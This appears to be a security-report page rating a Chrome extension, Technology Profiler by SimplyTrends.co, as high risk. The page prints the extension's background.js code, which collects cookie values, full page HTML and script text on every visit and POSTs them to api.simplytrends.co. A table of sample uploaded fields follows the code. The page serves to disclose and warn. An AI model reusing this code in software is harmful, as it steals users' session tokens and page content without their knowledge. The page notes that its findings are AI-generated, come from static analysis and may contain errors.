Is Technology Profiler by SimplyTrends.co safe?

High risk

Technology Profiler by SimplyTrends.co is high risk. Code analysis shows the extension reads cookie values and the full HTML and script text of every page you visit, gzips them together, and POSTs the result to api.simplytrends.co. The listing describes only technology detection.

SimplyTrends Teamv0.0.0.1Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

Uploads your page cookie values and full HTML to simplytrends.co on every visit

Code analysis shows the extension reads cookie values and the full HTML and script text of every page you visit, gzips them together, and POSTs the result to api.simplytrends.co.

The listing describes only technology detection.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You browse to any page with the extension installed and enabled.

The upload runs once the extension's injected on-page UI mounts, which happens automatically on the extension's polling loop, not on a user click.

The extension did this

The background worker reads that page's cookie values and full HTML, compresses them together, and uploads them to api.simplytrends.co.

This runs on every navigation to every site, not only pages related to the extension's stated purpose.

02EvidenceCODE COMPARE
The code that does this

background.js: webtech_get folds cookie values and full page HTML into the uploaded payload

What it actually does
async function webtech_get(tabId, opts) {
  // Ask the content script for the full rendered page.
  const { data } = await sendMessageToTab(tabId, { action: "getHTML" });
  const { html, text, overrides, cookies } = data; // cookies starts as {}

  // Fetch the text of every inline/external script on the page.
  const scriptTexts = await Promise.all(
    opts.scriptList.map((src) => fetch(src).then((r) => r.text()).catch(() => null))
  );

  // Read the visited page's ACTUAL cookie values (not just names) and fold
  // them into the same object that will be uploaded.
  const rawCookies = await chrome.cookies.getAll({ url: opts.url });
  rawCookies.forEach(({ name, value }) => {
    cookies[name.toLowerCase()] = [value];
  });

  const payload = gzip(JSON.stringify({
    ...opts,
    scriptTextList: scriptTexts.filter(Boolean),
    innerHtml: html.replace(/[\n\t]/g, ""),
    innerText: text,
    cookies,       // real cookie values, keyed by lowercased name
    overrides
  }));

  const form = new FormData();
  form.append("file", new Blob([payload], { type: "blob" }));
  await fetch("https://api.simplytrends.co/1/web_tech/analyze_website_technology_from_wl", {
    method: "POST",
    body: form
  });
}
03EvidenceFIELD TABLE
What gets gzip-compressed and uploaded on every page visit
FieldValueWhy it matters
Cookie values for the visited site
{"session": ["eyJhbGciOiJIUzI1NiJ9..."]}Every cookie's actual value for the page you're on, which can include session tokens, not just cookie names.
Full page HTML
<html><body>...full page markup...</body></html>The entire rendered DOM of the page you're viewing, including any form fields or content on it.
Visible page text
Sign in to your account...The full visible text content of the page.
Inline and external script text
function login(){...}The source of every script tag on the page, fetched and included in the upload.
Page URL and hostname
https://shop.example.com/checkoutThe address of the page you visited, sent alongside everything above.
04EvidenceTHIRD PARTY LIST
Where the upload goes
  • api.simplytrends.co

    Receives the gzip-compressed page HTML, script text and cookie values for every page visited, sent by this extension under a technology-detection label.

05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Updated 20 September 2026hmfdjlcpjdkbebjlkpmammmcipfdgpjh